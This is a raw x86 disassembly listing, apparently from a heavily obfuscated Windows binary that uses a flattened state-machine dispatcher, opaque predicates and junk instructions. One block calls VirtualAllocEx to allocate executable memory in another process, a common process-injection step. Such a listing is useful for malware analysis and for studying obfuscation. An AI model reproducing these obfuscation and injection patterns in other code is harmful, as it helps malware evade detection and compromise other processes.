mov eax, ecx
not eax
and ecx, 0x7af92e56
and eax, 0x8506d1a9
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x8438
xor eax, 0xfb573947
xor edx, 0xfb573946
and edx, eax
and ecx, 0xeb129c78
and eax, 0x14ed6387
or eax, ecx
xor eax, 0x14ed6386
or eax, edx
mov ecx, eax
not ecx
and eax, 0x89c03b6f
and ecx, 0x763fc490
or eax, ecx
xor eax, 0x89c03b6f
sete ah
setne dl
cmp dword [0x4d6178], 0xa
setge al
setl cl
mov ch, al
or al, ah
xor ch, dl
or dl, cl
or cl, ah
xor al, 1
xor cl, 1
xor dl, 1
or al, dl
or cl, ch
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
cmovne ebx, esi
test al, al
mov eax, ebx
cmovne eax, edi
test dl, dl
cmovne eax, ebx
jmp 0x402ce0
cmp eax, 0x3f64f7a6
je 0x40d531
cmp eax, 0x40e36d2e
jne 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x87000060
mov edx, eax
and edx, 0x104401
and eax, 0xbc4a97ca
or esi, edx
mov edx, ecx
and edx, 0x78efbb9e
xor esi, 0x87000060
or edx, esi
mov esi, edx
not esi
and edx, 0x87104460
and esi, 0x78efbb9f
or edx, esi
mov esi, edx
not esi
mov edi, edx
or edx, ecx
and ecx, 0x43b56835
and edi, 0x43b56835
and esi, 0xbc4a97ca
or eax, ecx
not edx
or esi, edi
mov edi, 0xce81cd70
xor eax, esi
mov esi, 0xf0d658cd
or edx, eax
xor edx, 0xffffffff
sete al
setne cl
cmp dword [0x4d6178], 0xa
setl dl
setge ah
and dl, cl
and al, ah
or cl, ah
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
and ch, cl
or dl, al
mov al, ch
xor al, dl
cmovne esi, edi
test dl, dl
mov eax, esi
cmovne eax, edi
test ch, ch
cmove eax, esi
jmp 0x402ce0
cmp eax, 0xc2b31fe9
je 0x40d639
cmp eax, 0xc373ea24
jne 0x402ce0
mov ecx, dword [0x4d617c]
mov edi, 0xcb85ee8c
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xd1d37526
mov esi, edx
and esi, 0x2e2c8ad8
and edx, 0x8ffe45b6
or esi, ecx
mov ecx, eax
or ecx, 0xd1d37526
and eax, 0x7001ba49
and ecx, 0xd1d37527
or eax, edx
mov edx, eax
xor ecx, esi
xor edx, 0x7001ba49
xor eax, 0x8ffe45b6
mov esi, 0xa0b87fbe
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x4d6178], 0xa
setge dl
mov ecx, edx
or cl, al
xor al, dl
mov edx, eax
mov ah, cl
and al, cl
xor dl, 1
not ah
or cl, dl
and dl, ah
or dl, al
mov eax, 0xa0b87fbe
mov ch, dl
xor ch, cl
test dl, dl
cmovne eax, edi
test cl, cl
cmovne eax, esi
test ch, ch
cmove eax, edi
jmp 0x402ce0
cmp eax, 0x1e4c3c70
je 0x40d646
cmp eax, 0x1f1d4e79
jne 0x402ce0
mov eax, dword [ebp - 0xa0]
mov eax, 0x5b67a04b
jmp 0x402ce0
cmp eax, 0x9ca0fc76
je 0x40d73d
cmp eax, 0x9ca43d8e
jne 0x402ce0
mov ecx, dword [0x4d617c]
mov edi, 0xc93a51c7
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x101f4234
mov esi, edx
and esi, 0xefe0bdca
and edx, 0xbc70e941
or esi, ecx
mov ecx, eax
or ecx, 0x101f4234
and eax, 0x438f16be
and ecx, 0x101f4235
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0x278c6b19
mov esi, edx
and esi, 0xd87394e6
or ecx, esi
mov esi, eax
xor esi, 0x38c0218
xor eax, 0x98708040
and eax, 0xd87394e6
and esi, 0x278c6b19
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x2a576e1c
sete cl
setne ah
cmp dword [0x4d6178], 0xa
setl al
setge ch
mov edx, eax
and al, ah
and ah, ch
and dl, cl
and cl, ch
or dl, ah
or al, cl
xor dl, 1
xor al, 1
or dl, ch
mov ecx, edx
xor cl, al
or al, dl
xor cl, 1
mov edx, ecx
xor dl, al
not dl
test dl, 1
cmovne edi, esi
test al, al
mov eax, 0xc93a51c7
cmovne eax, edi
test cl, 1
cmovne eax, edi
jmp 0x402ce0
cmp eax, 0x60111348
je 0x40d75f
cmp eax, 0x635e095e
jne 0x402ce0
mov eax, 0xf3174c1
jmp 0x402ce0
cmp eax, 0xd93d10f1
je 0x40d769
cmp eax, 0xd9880975
jne 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x13daffd6
mov edx, ecx
and edx, 0x10c21fd2
and eax, ecx
not ecx
and ecx, 0x318e004
or edx, ecx
xor edx, 0x10c21fd2
or eax, edx
mov ecx, eax
not ecx
and eax, 0x556549f9
and ecx, 0xaa9ab606
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x31004150
xor ecx, 0x46bfb62f
xor eax, 0x7a568ebf
and eax, ecx
and edx, 0x7130555d
and ecx, 0x8ecfaaa2
or ecx, edx
mov edx, ecx
mov edi, ecx
xor edx, 0x8ecfaaa2
xor edi, 0x4dd96dcd
xor ecx, 0x10011c
and edi, edx
or edx, 1
and ecx, 0xe9029bc
mov esi, edi
not esi
and edi, 0xafaae1f2
mov ebx, esi
and ebx, 0x50551e0d
or edi, ebx
mov ebx, eax
not ebx
and eax, 0xafaae1f2
or esi, ebx
and ebx, 0x50551e0d
or eax, ebx
not esi
xor eax, edi
or esi, eax
mov eax, esi
not eax
and esi, 0x3ce93891
and eax, 0xc316c76e
or esi, eax
mov eax, esi
not eax
and esi, 0xe9029bd
mov edi, eax
or eax, edx
and edi, 0xf16fd642
and edx, 0xf16fd642
or esi, edi
or ecx, edx
not eax
xor ecx, esi
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0xe000400
and eax, 0xf059c090
mov edx, ecx
or edx, 0x4024a
and esi, 0xe04064a
and ecx, 0x1a23925
and edx, 0xe04064a
or ecx, esi
mov esi, 0x1de12e7f
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x1a63b6f
and ecx, 0xfe59c490
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa19fb765
mov edx, ecx
and edx, 0x5e60489a
or eax, edx
xor eax, 0x5e60489a
xor ecx, eax
test ecx, eax
sete dl
setne cl
cmp dword [0x4d6178], 0xa
setl ah
setge al
and cl, al
and ah, dl
or ah, cl
mov cl, ah
xor cl, al
xor al, dl
and cl, ah
mov ah, cl
mov edx, ecx
and ah, al
xor al, 1
xor dl, 1
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xb16a228f
cmovne eax, esi
test dl, dl
mov edx, 0xb16a228f
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402ce0
cmp eax, 0xf599d78
je 0x40d773
cmp eax, 0x1134c948
jne 0x402ce0
mov eax, 0x60111348
jmp 0x402ce0
cmp eax, 0x8e2edb1c
je 0x40d77d
cmp eax, 0x8e8426e9
jne 0x402ce0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0xc]
mov ecx, dword [ebp - 0xa8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [0x4d617c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
and esi, 0x638eccb6
mov ecx, eax
and ecx, 0x9c713348
or esi, ecx
mov ecx, eax
or ecx, 0xc35313aa
and eax, 0xda65b4f4
mov edi, esi
xor edi, 0x208ccc14
xor esi, 0x80511309
and ecx, 0xc35313ab
and esi, 0xc35313ab
and edi, 0x3cacec54
or edi, esi
xor ecx, edi
mov esi, ecx
not esi
mov edi, ecx
or ecx, edx
and edx, 0x259a4b0b
and edi, 0x259a4b0b
and esi, 0xda65b4f4
or eax, edx
not ecx
or esi, edi
xor eax, esi
mov esi, 0xd13c40ee
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x7894a8d4
and eax, 0x876b572b
or ecx, eax
cmp ecx, 0x7894a8d4
setne dl
cmp dword [0x4d6178], 0xa
mov ch, dl
setge al
setl ah
mov cl, al
or ch, ah
and al, dl
xor cl, dl
xor ch, 1
and cl, ah
xor ah, dl
or cl, ch
xor ah, 1
mov edx, ecx
or al, ah
mov ah, cl
and ah, al
xor al, 1
xor dl, 1
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x764f1502
cmovne ecx, esi
test al, 1
mov eax, 0x764f1502
jmp 0x40e092
cmp eax, 0x51aa92eb
je 0x40d81b
cmp eax, 0x51e4e36d
jne 0x402ce0
mov eax, dword [ebp - 0x44]
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x20092800
mov esi, eax
mov edi, eax
or esi, 0xf704681
and edx, 0x2f796e81
and edi, 0x828008
and eax, 0xe3c873ea
or edi, edx
mov edx, ecx
and esi, 0x2f796e81
and edx, 0xd0041176
or edx, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0xff2c688
and esi, 0xf00d3977
or edx, esi
mov esi, edx
not esi
and edx, 0x8c4f578f
and esi, 0x73b0a870
or edx, esi
mov esi, edx
xor esi, 0x8048538a
xor edx, 0x73b0a870
mov edi, edx
or edx, ecx
and ecx, 0x1c378c15
and edi, 0x1c378c15
and esi, 0xe3c873ea
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0xab9e458e
or edx, eax
xor edx, 0xffffffff
setne dl
sete ah
cmp dword [0x4d6178], 0xa
mov ch, dl
setl cl
setge al
and ch, al
and cl, ah
xor dl, al
or cl, ch
and dl, ah
xor cl, 1
or cl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
or dl, al
and ch, cl
mov eax, 0xc7a06e70
mov cl, dl
xor cl, ch
test dl, 1
mov edx, 0xc7a06e70
cmovne eax, esi
test ch, 1
cmove eax, edx
jmp 0x40c597
cmp eax, 0xccc20ed8
je 0x40d82e
cmp eax, 0xcdab6e16
jne 0x402ce0
mov eax, 0x26b8323d
jmp 0x402ce0
cmp eax, 0x2ca5af4a
je 0x40d838
cmp eax, 0x2ce51214
jne 0x402ce0
mov eax, 0x307ce929
jmp 0x402ce0
cmp eax, 0xb49f107f
je 0x40d90a
cmp eax, 0xb4f1a1a1
jne 0x402ce0
mov eax, 0xbf2d4825
jmp 0x402ce0
cmp eax, 0x70c343dd
je 0x40d91f
cmp eax, 0x71643b34
jne 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x6faceb9a
mov esi, ecx
and esi, 0x90531465
or edx, esi
mov esi, eax
not esi
and eax, 0x6faceb9a
or ecx, esi
and esi, 0x90531465
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0xadc3c745
and ecx, 0x523c38ba
or eax, ecx
mov ecx, eax
xor ecx, 0xa402c341
xor eax, 0x523c38ba
mov esi, eax
and esi, 0xbf934a6
and ecx, 0xf406cb59
or ecx, esi
mov esi, edx
not esi
and edx, 0xf406cb59
or eax, esi
and esi, 0xbf934a6
or edx, esi
not eax
mov esi, 0x3079f40e
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x365dc859
and ecx, 0xc9a237a6
or eax, ecx
mov ecx, eax
xor ecx, 0x201c4008
xor eax, 0xc1a02322
and eax, 0xd7e1ab73
and ecx, 0x281e548c
or ecx, eax
mov eax, ecx
xor eax, 0xd2410342
xor ecx, 0x200a0088
and ecx, 0x25aaa8b9
and eax, 0xda555746
or eax, ecx
cmp eax, 0xda555746
setne al
cmp dword [0x4d6178], 0xa
setl dl
setge cl
mov ah, dl
and ah, al
inc al
and cl, al
or al, dl
or cl, ah
mov ah, al
mov edx, ecx
xor dl, 1
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov ah, al
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x6e9d7faa
cmovne ecx, esi
test al, al
mov esi, 0x6e9d7faa
jmp 0x40b9da
cmp eax, 0xea5902d1
je 0x40d9dc
cmp eax, 0xebf344b7
jne 0x402ce0
cmp byte [ebp - 0x7b], 0
mov eax, 0xa167a0e0
mov ecx, 0x7a5de305
cmovne eax, ecx
jmp 0x402ce0
cmp eax, 0xfac646b7
je 0x40dc20
cmp eax, 0xfb1f9c0a
jne 0x402ce0
mov eax, dword [0x4d617c]
mov esi, 0x88a1cd38
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xee07ad53
and eax, ecx
not ecx
and ecx, 0xee07ad53
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xaf0d5caf
and ecx, 0x50f2a350
or eax, ecx
mov ecx, eax
xor eax, 0xbef50e02
xor ecx, 0x410af1fc
mov edx, ecx
and eax, 0xfffffffe
and ecx, 1
and edx, 0xfffffffe
or ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xf82d6060
and eax, 0x7d29f9f
or ecx, eax
cmp ecx, 0xf82d6060
setne cl
cmp dword [0x4d6178], 0xa
mov ah, cl
setl dl
setge al
or al, cl
xor cl, dl
or ah, dl
not cl
xor ah, 1
and cl, dl
or cl, ah
mov ah, cl
mov ch, cl
xor ah, 1
mov dl, ah
or ah, al
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
mov cl, ah
xor dl, 1
or dl, ch
xor dl, al
xor cl, dl
test ah, ah
mov eax, 0x9a13016d
cmovne eax, esi
test dl, 1
mov edx, 0x9a13016d
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402ce0
cmp eax, 0x874ab032
je 0x40dc33
cmp eax, 0x87c7f57b
jne 0x402ce0
mov eax, 0xf0bed559
jmp 0x402ce0
cmp eax, 0x4b8685f8
je 0x40dc8e
cmp eax, 0x4bb632b1
jne 0x402ce0
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
shl eax, 2
mov dword [ebp - 0x94], eax
mov eax, 0xb80caec3
jmp 0x402ce0
cmp eax, 0xc7953e6e
je 0x40dd6a
cmp eax, 0xc7a06e70
jne 0x402ce0
mov eax, 0xab9e458e
jmp 0x402ce0
cmp eax, 0x26659ec4
je 0x40df45
cmp eax, 0x26946e66
jne 0x402ce0
mov eax, dword [ebp - 0x24]
mov ecx, dword [0x4d617c]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x33fe6773
mov edx, eax
and edx, 0x303e6151
and ecx, eax
not eax
and eax, 0x3c00622
or edx, eax
xor edx, 0x303e6151
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xe3ee037d
and eax, 0x1c11fc82
or ecx, eax
mov eax, ecx
mov esi, ecx
xor eax, 0xd010640e
xor esi, 0x2fef9bf1
xor ecx, 0xb106f027
and esi, ecx
and ecx, eax
and eax, 0xfffffffe
mov edx, esi
mov ebx, ecx
not edx
not ebx
and esi, 0x4de2ca9f
and ecx, 0x4de2ca9f
mov edi, edx
or edx, ebx
and edi, 0xb21d3560
and ebx, 0xb21d3560
or esi, edi
or ecx, ebx
not edx
xor ecx, esi
mov esi, 0xb0deb849
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x61169428
and ecx, 0x9ee96bd7
or edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x6b6a71a2
and ecx, 0x94958e5d
or eax, ecx
mov ecx, eax
xor ecx, 0x2a482002
xor eax, 0x10150809
and eax, 0x513759a9
and ecx, 0xaec8a656
or ecx, eax
mov eax, ecx
xor eax, 0x88082600
xor ecx, 0x50035980
and ecx, 0x76c3d9d6
and eax, 0x893c2629
or eax, ecx
xor eax, 0x893c2629
sete al
setne cl
cmp dword [0x4d6178], 0xa
setge dl
setl ah
and ah, cl
mov ecx, edx
and cl, al
xor al, dl
or cl, ah
and al, dl
mov ah, cl
or al, cl
xor ah, 1
mov ch, al
mov dl, ah
xor ah, al
xor al, 1
and ch, cl
and dl, al
or al, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xc25a2957
cmovne ecx, esi
test al, 1
mov eax, 0xc25a2957
jmp 0x40ecea
cmp eax, 0xab9e458e
je 0x40df58
cmp eax, 0xadf5a3e1
jne 0x402ce0
mov eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x188]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
mov dword [ebp - 0x18c], eax
mov eax, 0x529c800b
jmp 0x402ce0
cmp eax, 0x6c8b2b5c
je 0x40e09a
cmp eax, 0x6d2ba2b7
jne 0x402ce0
mov ecx, dword [0x4d617c]
mov edi, 0x9310774a
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xcd62413c
mov esi, ecx
and esi, 0x329dbec2
and ecx, 0xb9b356a5
or esi, edx
mov edx, eax
or edx, 0xcd62413c
and eax, 0x464ca95a
and edx, 0xcd62413d
or eax, ecx
xor edx, esi
xor eax, 0x464ca95a
mov esi, 0xb5aa8fab
not edx
or eax, edx
cmp eax, 0xffffffff
setne dl
cmp dword [0x4d6178], 0xa
mov eax, edx
mov ch, dl
setge cl
setl ah
inc al
mov dh, cl
or ch, ah
xor dh, al
and al, cl
mov bl, ch
and dh, cl
xor cl, dl
and dl, ah
or al, dl
mov dl, dh
and cl, ah
xor dh, al
xor dl, 1
xor al, 1
xor cl, 1
or al, dl
xor bl, cl
or cl, ch
xor al, 1
xor cl, 1
or al, dh
or cl, bl
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov ah, dl
xor dl, 1
and ah, cl
xor cl, 1
and dl, cl
or cl, al
or dl, ah
mov eax, ecx
xor al, dl
test cl, 1
cmovne edi, esi
test dl, 1
not al
cmove edi, esi
test al, 1
mov eax, 0x9310774a
cmovne edi, eax
mov eax, edi
jmp 0x402ce0
cmp eax, 0xe331cf39
je 0x40e0a4
cmp eax, 0xe41a3659
jne 0x402ce0
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0x160]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov eax, dword [eax + 4]
add eax, 0xfffffff8
shr eax, 1
mov dword [ebp - 0x100], eax
mov eax, 0x1bdb830e
jmp 0x402ce0
cmp eax, 0x16f46bc4
je 0x40e46f
cmp eax, 0x179dc7ef
jne 0x402ce0
bswap edx
dec edi
mov edi, 0x1f
mov edi, 0xf1
neg ebx
ror edi, 0x17
inc ebx
rcr esi, 0x96
not esi
rol ebx, 0xd6
neg edi
imul edx
inc esi
imul edx
ror ebx, 0x34
inc esi
add esi, 0xf
inc ebx
rol edx, 0x86
sub ebx, 0x1f
neg esi
add eax, 0xcd
rcl ebx, 0x89
or esi, 0x3e
rcr edi, 0xbf
rcl eax, 0xa0
dec eax
rol ebx, 0x17
mov edi, 0x50
imul esi
imul ebx
dec eax
bswap esi
inc edx
bswap eax
or eax, 0x17
dec ebx
dec ebx
imul esi
rcr ebx, 0x58
and edi, 0x72
rol esi, 0xc1
rol edi, 0xa3
ror ebx, 0xec
inc edx
or edi, 0xc0
imul edi
neg ebx
bswap ebx
bswap edx
dec esi
not edx
mov esi, 0x22
or ebx, 0xf3
neg ebx
sbb ebx, 0x5f
imul eax
sbb edi, 0xf0
and eax, 0x9d
imul ebx
ror ebx, 0x9c
dec eax
neg edi
add ebx, 0xc5
inc eax
imul eax
bswap ebx
inc edx
neg ebx
ror edx, 0x7d
rcr eax, 0x4b
inc eax
and edx, 0xff
rol edi, 0x5d
dec edi
rol ebx, 0x3e
dec ebx
imul edi
not ebx
rcl eax, 0x3a
or eax, 0x3f
neg ebx
not ebx
rcr eax, 0xe2
rcr esi, 0x11
sub edx, 0
add ebx, 0xf3
bswap ebx
imul esi
or eax, 0x9d
inc edi
or edx, 0xd
rcr esi, 0xdb
neg edx
imul edx
not eax
inc eax
neg edi
not ebx
sbb eax, 0x72
or ebx, 0xbc
rol edx, 0xcc
or edx, 0x36
rcr ebx, 0xd1
sbb edx, 0xd
dec edx
add ebx, 0x26
imul esi
neg esi
rol edi, 0xf5
bswap eax
mov edx, 0x72
inc edi
inc edx
or esi, 0x4b
rcr ebx, 0x48
mov esi, 0x3d
inc eax
bswap edx
or ebx, 0xf2
mov edi, 0xf6
mov ebx, 0x81
rcr edi, 0x21
mov eax, 0xc3
rcr ebx, 0xb6
ror edi, 0xcb
not ebx
sub edi, 0xe0
inc eax
inc eax
or esi, 0
rcr edx, 0xc7
or esi, 0x7b
not esi
mov ebx, 2
dec edi
rcr eax, 0x82
rcl esi, 0x53
and eax, 0x97
mov eax, 0x6f
ror esi, 0x75
inc edi
not edx
neg ebx
sbb eax, 0x92
imul ebx
sub esi, 0xda
neg edx
sbb edi, 0xba
rol edx, 0xe4
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
sub eax, 0xffffff80
mov dword [ebp - 0x180], eax
mov eax, 0xeeb0cbce
jmp 0x402ce0
cmp eax, 0x9408735f
je 0x40e479
cmp eax, 0x947ebe51
jne 0x402ce0
mov eax, dword [ebp - 0x98]
push 0x40
push 0x3000
push dword [ebp - 0xe8]
push 0
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x9c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x9c]
mov eax, 0x766af3f
jmp 0x402ce0
cmp eax, 0x56bf00da
je 0x40e5a9
cmp eax, 0x56f9f3bf
jne 0x402ce0
mov eax, dword [ebp - 0x1c]
mov eax, 0x57d15af8
jmp 0x402ce0
cmp eax, 0xd3bf90a1
je 0x40e5c2
cmp eax, 0xd40f240f
jne 0x402ce0
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov dword [eax], 0
mov eax, 0x8ef1dcce
jmp 0x402ce0
cmp eax, 0x317c227f
je 0x40e5cc
cmp eax, 0x32c769c0
jne 0x402ce0
mov eax, 0x54b377f6
jmp 0x402ce0
cmp eax, 0xb89b1d60
je 0x40e5d6
cmp eax, 0xba5d418e
jne 0x402ce0
mov eax, 0xc7953e6e
jmp 0x402ce0
cmp eax, 0x76067d65
je 0x40e5e0
cmp eax, 0x764f1502
jne 0x402ce0
mov eax, 0x6c2fa001
jmp 0x402ce0
cmp eax, 0xf2aa4af2
je 0x40e5fc
cmp eax, 0xf32558c5
jne 0x402ce0
mov eax, 0x6a9d07e1
jmp 0x402ce0
cmp eax, 0x892d202
je 0x40e6a5
cmp eax, 0x8c0d1d9
jne 0x402ce0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xbdff2870
and eax, 0xcec0ae1e
mov esi, edx
and esi, 0x4200d78e
or ecx, esi
mov esi, ecx
xor esi, 0x15772020
xor ecx, 0x42000483
and ecx, 0xea880cd3
and esi, 0x1577f32c
or esi, ecx
mov ecx, edx
or ecx, 0xea880cd2
and edx, 0x313f51e1
and ecx, 0xea880cd3
or eax, edx
xor ecx, esi
mov esi, ecx
not esi
and ecx, 0xe71fc388
and esi, 0x18e03c77
or ecx, esi
mov esi, ecx
xor esi, 0xa1168008
xor ecx, 0x18e03c77
mov edx, ecx
and edx, 0x5ee947f2
and esi, 0xa116b80d
or esi, edx
mov edx, eax
xor edx, 0x8000a80c
xor eax, 0x313f51e1
or ecx, eax
and eax, 0x5ee947f2
and edx, 0xa116b80d
or edx, eax
not ecx
xor edx, esi
mov esi, 0xe866ce61
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x879cbefc
and eax, 0x78634103
or ecx, eax
xor ecx, 0x879cbefc
setne ch
sete ah
cmp dword [0x4d6178], 0xa
mov al, ch
mov cl, ch
setl dh
setge dl
inc al
xor cl, dl
and al, dl
or dl, ch
and ch, dh
xor ah, dh
or al, ch
xor dl, 1
or dl, ah
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x189aaa76
cmovne eax, esi
test dl, 1
mov edx, 0x189aaa76
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402ce0
cmp eax, 0x84980db7
je 0x40e6b8
cmp eax, 0x84afa9ab
jne 0x402ce0
mov eax, dword [ebp - 0x20]
mov eax, 0xe5cd2850
jmp 0x402ce0
cmp eax, 0x43e7e672
je 0x40e70a
cmp eax, 0x47beefa4
jne 0x402ce0
mov eax, 0x9ca43d8e
jmp 0x402ce0
cmp eax, 0xc5a398c0
je 0x40e714
cmp eax, 0xc5c9064d
jne 0x402ce0
mov eax, dword [ebp - 0x190]
mov ecx, 0x15984332
cmp dword [eax], 0
mov eax, 0xc5691458
cmove eax, ecx
jmp 0x402ce0
cmp eax, 0x238c8f9b
je 0x40e944
cmp eax, 0x23b8a2da
jne 0x402ce0
mov ecx, dword [0x4d617c]
mov esi, 0xcdab6e16
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x18682626
and ecx, 0xe797d9d8
or edx, ecx
mov ecx, eax
xor ecx, 0xfffffffe
xor edx, 0x18682626
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne ah
sete dh
cmp dword [0x4d6178], 0xa
mov cl, ah
setge dl
setl al
mov ch, dl
and cl, al
or al, ah
and ch, dh
or dh, dl
or cl, ch
mov ch, dl
or dl, ah
mov bl, dh
xor ch, ah
xor dl, 1
xor cl, 1
xor bl, al
or al, dh
or dl, ch
mov ah, cl
xor al, 1
or cl, dl
xor ah, dl
or al, bl
xor cl, 1
or cl, ah
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x26b8323d
cmovne ecx, esi
test al, al
mov eax, 0x26b8323d
cmove ecx, esi
test dl, 1
jmp 0x402ccf
cmp eax, 0xa0980fdd
je 0x40ea9a
cmp eax, 0xa0b87fbe
jne 0x402ce0
mov eax, 0xc373ea24
jmp 0x402ce0
cmp eax, 0x6a39d04c
je 0x40eab0
cmp eax, 0x6a81eb0d
jne 0x402ce0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0xc]
add eax, dword [ebp - 0x148]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x44]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0x14]
mov dword [ebp - 0xf4], eax
mov eax, 0xfb1f9c0a
jmp 0x402ce0
cmp eax, 0xdbae5919
je 0x40ebbd
cmp eax, 0xdd5223c0
jne 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x84e09513
mov edx, ecx
and edx, 0x80e08103
and eax, ecx
not ecx
and ecx, 0x4001410
or edx, ecx
xor edx, 0x80e08103
or eax, edx
mov ecx, eax
not ecx
and eax, 0x4307461f
and ecx, 0xbcf8b9e0
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x30100cc3
xor edx, 0xc7e7d30c
xor ecx, 0xc7e7d30d
and ecx, edx
and eax, 0xf0b65ec3
and edx, 0xf49a13c
or edx, eax
mov eax, ecx
not eax
and ecx, 0x29242975
mov esi, eax
and esi, 0xd6dbd68a
or ecx, esi
mov esi, edx
xor esi, 0x9002135
xor edx, 0xf0b65ec2
or eax, edx
and edx, 0xd6dbd68a
